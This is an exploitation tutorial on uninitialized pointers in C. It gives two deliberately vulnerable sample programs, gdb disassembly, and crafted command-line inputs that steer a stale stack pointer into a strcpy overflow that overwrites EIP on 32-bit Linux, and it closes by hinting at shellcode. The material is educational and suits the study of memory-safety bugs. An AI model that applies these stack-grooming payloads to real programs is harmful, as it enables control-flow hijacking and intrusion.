---[ Exploitation of uninitialized pointers ]---
    


0x01 INTRO
~~~~~~~~~~


This is a small note about the circumstances which are necessary
in order to be able to exploit an uninitialized pointer when used.
In the following a short analysis of the problem will be given.

My beginners' C book told me that an unitialized pointer points
at random locations. We'll find out how random "random" realy is ;)


0x02 BACKGROUND
~~~~~~~~~~~~~~~


To give you a feeling for the topic we'll start out with a small
example program.


-----8< uninp1.c 8<----

#include 
#include 


void foo(char *str)
{
int *ptr;

printf("%p contains %p\n", ptr, *ptr);
}



int main(int argc, char *argv[])
{
char buf[120];

printf("   ---[ uninp 1]---   \n");
if (argc < 2)
   {
    printf("usage: %s \n", argv[0]);
    exit(-1);
    }

strncpy(buf, argv[0], sizeof(buf));
foo(argv[0]);
}


-----8< uninp1.c 8<---- 


sh-2.05b$ gcc -o uninp1 uninp1.c
sh-2.05b$ ./uninp1 some_string_here
   ---[ uninp 1]---
0xbffff384 contains 0xbffff524
sh-2.05b$

Aha ok, the printf statement tells us that the value at address 
0xbffff384 is 0xbffff524.

Now let's have a look at how the ptr is used inside foo():

gdb> disassemble foo
Dump of assembler code for function foo:
0x80483a4 :        push   %ebp
0x80483a5 :      mov    %esp,%ebp
0x80483a7 :      sub    $0x8,%esp 
0x80483aa :      sub    $0x4,%esp 
0x80483ad :      mov    0xfffffffc(%ebp),%eax
0x80483b0 :     pushl  (%eax)
0x80483b2 :     pushl  0xfffffffc(%ebp)
0x80483b5 :     push   $0x8048504
0x80483ba :     call   0x80482b0 
0x80483bf :     add    $0x10,%esp
0x80483c2 :     leave
0x80483c3 :     ret
End of assembler dump.
gdb>

After the function prologue and allocating local variables we se
the preparations for the printf() call at foo+9. Here the pointer's
"0xfffffffc(%ebp)" content is moved into %eax. This means nothing else
than:
eax = *(ebp - 4);

gdb> x/wx $ebp-4
0xbffff264:     0xbffff354


Then the value at this address is pushed on the stack followed by the address
of the pointer itself -

gdb> x/wx 0xbffff354
0xbffff354:     0xbffff4ea

and followed by the static string located at 0x8048504.

gdb> x/s 0x8048504
0x8048504 <_IO_stdin_used+4>:    "%p contains %p\n"

gdb> c
0xbffff354 contains 0xbffff4ea

Program exited with code 037.

Ok now we know that our pointer is "initialized" with *(ebp - 4) because local 
variables are accessed with negative offset from %ebp.

/*
   -----------note:------------------
   Breakpoint 1, 0x080483aa in foo ()
   gdb> x/wx $esp+4
   0xbffff264:     0xbffff354
   gdb> x/wx $ebp-4
   0xbffff264:     0xbffff354
*/
  
Let's see where it finally points to:

gdb> x/wx 0xbffff354
0xbffff354:     0xbffff4ea
gdb> x/s 0xbffff4ea
0xbffff4ea:      "/home/qobaiashi/w00nf/bofresearch/uninp1"

This is the path name. If this pointer had been used in a buggy function (printf(*ptr)...)
we could set it to a nearly arbitrary value when using a link for example.

sh-2.05b$ ln ./uninp1 /tmp/w0ned

gdb> r aaaaaaaaaaa
   ---[ uninp 1]---
0xbffff384 contains 0xbffff524

gdb> x/s 0xbffff524
0xbffff524:      "/tmp/w0ned"

Feel free to read the various wu-ftpd exploits to see real life examples of exploits
that make use of the path string.

In this case we could predict where the pointer points to and modify that location.
The next example illustrates how the pointed-to value can be modifyed directly.



-----8< uninp2.c 8<----

#include 
#include 


void foo(char *str)
{
char buf[20];
int *ptr;

strcpy(buf, (char *)ptr);
}


void setstack(char *str)
{
char buffer[120];
strncpy(buffer, str, 100);
}


int main(int argc, char *argv[])
{
char buf[120];

printf("   ---[ uninp 2]---   \n");
if (argc < 2)
   {
    printf("usage: %s \n", argv[0]);
    exit(-1);
    }


strncpy(buf, argv[1], 120);
setstack(buf);
foo("hiho");
}


-----8< uninp2.c 8<----

sh-2.05b$ gcc -o uninp2 uninp2.c
sh-2.05b$ ./uninp2
   ---[ uninp 2]---
usage: ./uninp2 
sh-2.05b$

This time foo looks like:

gdb> disassemble foo
Dump of assembler code for function foo:
0x80483e4 :        push   %ebp
0x80483e5 :      mov    %esp,%ebp
0x80483e7 :      sub    $0x38,%esp
0x80483ea :      sub    $0x8,%esp
0x80483ed :      pushl  0xffffffd4(%ebp)
0x80483f0 :     lea    0xffffffd8(%ebp),%eax
0x80483f3 :     push   %eax
0x80483f4 :     call   0x8048304 
0x80483f9 :     add    $0x10,%esp
0x80483fc :     leave
0x80483fd :     ret

It pushes 0xffffffd4(%ebp) being (*ebp-44) as src argument for strcpy.
Now however we have a function setstack() before the vulnerable foo(). This function
uses a local buffer[120] which needs more stackspace than foo's local var's.

0x80483fe :   push   %ebp
0x80483ff : mov    %esp,%ebp
0x8048401 : sub    $0x88,%esp <--
0x8048407 : sub    $0x4,%esp  
0x804840a :        push   $0x64
0x804840c :        pushl  0x8(%ebp)
0x804840f :        lea    0xffffff78(%ebp),%eax
0x8048415 :        push   %eax
0x8048416 :        call   0x80482f4 
0x804841b :        add    $0x10,%esp
0x804841e :        leave
0x804841f :        ret
 

The strcpy() copies the given string on the stack and setstack() returns without 
wiping the string off, it just sets %esp and %ebp accordingly. When the pointer is 
initialized in foo it gets a value from the previous stack..


Let's run it through gdb:

gdb> r 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaXXXX
   ---[ uninp 2]---

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:00000000 ebx:FEFEFEFF  ecx:400A9170  edx:400A914D     eflags:00210206
     esi:58585858 edi:BFFFF1E0  esp:BFFFF1B0  ebp:BFFFF208     eip:400A9170
     cs:0023  ds:002B  es:002B  fs:0000  gs:0000  ss:002B    o d I t s z a P c
[002B:BFFFF1B0]---------------------------------------------------------[stack]
BFFFF1E0 : 00 00 00 00  90 0B 16 40 - 20 40 01 40  F4 F2 FF BF .......@ @.@....
BFFFF1D0 : 61 61 61 61  61 61 61 61 - 61 61 61 61  58 58 58 58 aaaaaaaaaaaaXXXX
BFFFF1C0 : E0 F1 FF BF  58 58 58 58 - 61 61 61 61  61 61 61 61 ....XXXXaaaaaaaa
BFFFF1B0 : 90 0B 16 40  20 40 01 40 - F4 F2 FF BF  F9 83 04 08 ...@ @.@........
[002B:58585858]---------------------------------------------------------[ data]
58585858 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
58585868 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
[0023:400A9170]---------------------------------------------------------[ code]
0x400a9170 : mov    (%esi),%ecx
0x400a9172 : lea    0x4(%esi),%esi
0x400a9175 : sub    %ecx,%eax
0x400a9177 : add    %ebx,%ecx
0x400a9179 : dec    %eax
0x400a917a : jae    0x400a9190 
------------------------------------------------------------------------------
0x400a9170 in strcpy () from /lib/libc.so.6
gdb> x/wx $ebp-44
0xbffff1c4:     0x58585858
gdb>

At this offset (XXXX) we can control the pointer and thus force a buffer overflow:

gdb> r 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaàñÿ¿aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
   ---[ uninp 2]---

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFFFF1A0 ebx:40160B90  ecx:FEFEFF01  edx:00000002     eflags:00210286
     esi:40014020 edi:BFFFF2B4  esp:BFFFF1D0  ebp:61616161     eip:61616161
     cs:0023  ds:002B  es:002B  fs:0000  gs:0000  ss:002B    o d I t S z a P c
[002B:BFFFF1D0]---------------------------------------------------------[stack]
BFFFF200 : 61 61 61 61  61 61 61 61 - 61 61 61 61  61 61 61 61 aaaaaaaaaaaaaaaa
BFFFF1F0 : 61 61 61 61  61 61 61 61 - 61 61 61 61  E0 F1 FF BF aaaaaaaaaaaa....
BFFFF1E0 : 61 61 61 61  61 61 61 61 - 61 61 61 61  61 61 61 61 aaaaaaaaaaaaaaaa
BFFFF1D0 : 61 61 61 61  61 61 61 61 - 61 61 61 61  61 61 61 61 aaaaaaaaaaaaaaaa
[002B:40014020]---------------------------------------------------------[ data]
40014020 : 78 46 01 40  03 00 00 00 - C8 47 01 40  00 00 00 00 xF.@.....G.@....
40014030 : C8 47 01 40  E8 4D 01 40 - 03 00 00 00  00 00 00 00 .G.@.M.@........
[0023:61616161]---------------------------------------------------------[ code]
0x61616161:     add    %al,(%eax)
0x61616163:     add    %al,(%eax)
0x61616165:     add    %al,(%eax)
0x61616167:     add    %al,(%eax)
0x61616169:     add    %al,(%eax)
0x6161616b:     add    %al,(%eax)
------------------------------------------------------------------------------
0x61616161 in ?? ()
gdb> x/s $eax
0xbffff1a0:      'a' , "àñÿ¿", 'a' , 
"hòÿ¿¼\204\004\b\220\v\026@ @\001@\210òÿ¿®8\004@\002"
gdb>

Yeah. That's it. We've forced strcpy to read from 0xbffff1a0 which was inside a controlable
buffer. You get the point.....stack overflow......control eip.......shellcode.....sh-2.05b$


0x03 END
~~~~~~~~

I hope you enjoyed this small (bloated) note on uninitialized pointers. Greetings and thx go
out to grugq for discussion on the topic; and #!w00nf for being cool :>


qobaiashi@u-n-f.com